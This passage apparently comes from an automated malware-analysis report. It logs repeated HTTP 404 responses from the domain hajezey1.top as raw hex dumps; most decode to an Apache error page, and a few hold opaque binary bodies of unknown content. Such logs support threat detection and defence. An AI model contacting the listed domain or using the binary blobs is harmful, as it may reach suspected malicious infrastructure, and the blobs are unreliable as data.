at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:11 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:12 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:15 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 52 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b f7 79 8d fb c4 4d c2 ec 5d 4f 5f 5b ff 33 90 5f 84 e2 eb 0b 4a 05 8e 8b a4 d4 ac e4 80 54 fd 17 d2 ea 4f e8 a1 1e c7 1f ab 29 29 8c 97 ad 67 c0 78 b7 bc 72 3f 1a 7c 03 84 5e 85 63 91 5b 07 e9 1f 9d 15 46 a6 b3 58 f1 06 ee 0c 42 de 8b f4 24 eb a8 e1 48 29 e8 74 cc 7c 3b 66 ab 4b 11 c0 4d 58 4b 77 13 d2 08 5b 47 86 65 29 15 32 39 c5 f7 45 22 aa cf 7c c1 7f 9f 61 79 b7 9e 96 98 8b 36 19 19 cb 8a f3 d8 04 0f 4e 86 19 7d 6f 37 e3 04 89 3d a4 55 80 90 70 89 9c 2c 4b 6b b6 e2 a2 22 48 d2 d1 49 ad ff fc ff 1f ed f5 3f f4 6d d3 7c ce 36 d3 ce 4e 49 b3 0b 5e 4c 64 55 5b ad 30 7a 83 eb 5f c8 c3 e7 b2 ec 24 1a 0a 1c 55 ee 87 fe 0c 35 9a 3d 50 6f d0 56 81 96 8b 97 9e 60 9f 8a 86 e8 47 5a bd b2 cb 99 64 51 11 87 4a b1 b8 56 54 8c f5 0a ef 8b 71 91 e0 35 a3 64 49 e0 76 79 27 24 58 96 da 39 d1 3a 2d a6 43 06 02 27 47 c2 fa cb f9 b0 72 50 6d ec f0 52 a4 e2 ec d7 d9 e6 60 f7 f8 23 d3 3e 5b f3 71 81 4a 04 38 2d 7f 14 2c d6 e8 b1 14 73 71 10 d2 ab 4b 86 07 30 5a 22 a2 3f 0b 8e 2b 51 fd f5 7a 60 9c 82 4b d0 d6 4a 13 a7 e9 4d 51 c2 41 64 cd 27 5c 8d b7 a3 23 0c 26 17 51 d2 eb e9 23 19 b3 32 59 08 42 41 ae e4 e3 40 3d 9d 43 cd 17 fe 2f 89 9d f8 d8 66 47 42 25 e1 b5 be 34 56 9b 46 3e 99 86 11 22 83 37 22 ec 7e af da 11 4b 95 36 2a 21 3f 65 74 b0 bb 87 f6 aa 81 de bb a0 69 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ac f8 b9 9f 3a 48 93 9f 4e bd 44 ef 5a 89 4f dc ea c0 4a 00 97 af a4 57 25 11 bb d0 ea 85 62 4a 08 7d 54 7a 98 6c 39 c0 1e f3 5c d9 40 11 e6 cc 64 3d da 9a 56 3a 22 7d e6 d2 1b 62 b9 50 31 eb cd 14 26 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 3b 88 4b 6e 47 f3 12 c3 b2 a5 83 41 ab 13 af b8 e8 81 63 a2 57 4a 60 87 bd 5f 6e 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 12 d3 e4 dc 0e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 bd 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 95 09 09 a8 1f 13 30 7b 32 cc c9 e1 ad c3 e5 0f 25 93 23 c4 1d d7 cf 8e 34 39 dc 46 77 58 dc be 91 98 3f d8 2c eb 53 43 a0 0c 97 e4 22 76 f9 14 f9 0b 64 82 93 64 4f 55 b4 ca 5e c3 d5 c0 88 0b 3d d9 1d 69 09 de ff 3d c1 03 70 2e 6f f4 d4 6a db a9 16 da
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:18 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d2 9e 55 06 63 17 e5 ff dc fc be 1e b4 53 d9 63 ba 53 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OUcScS0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 29 Oct 2021 18:29:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 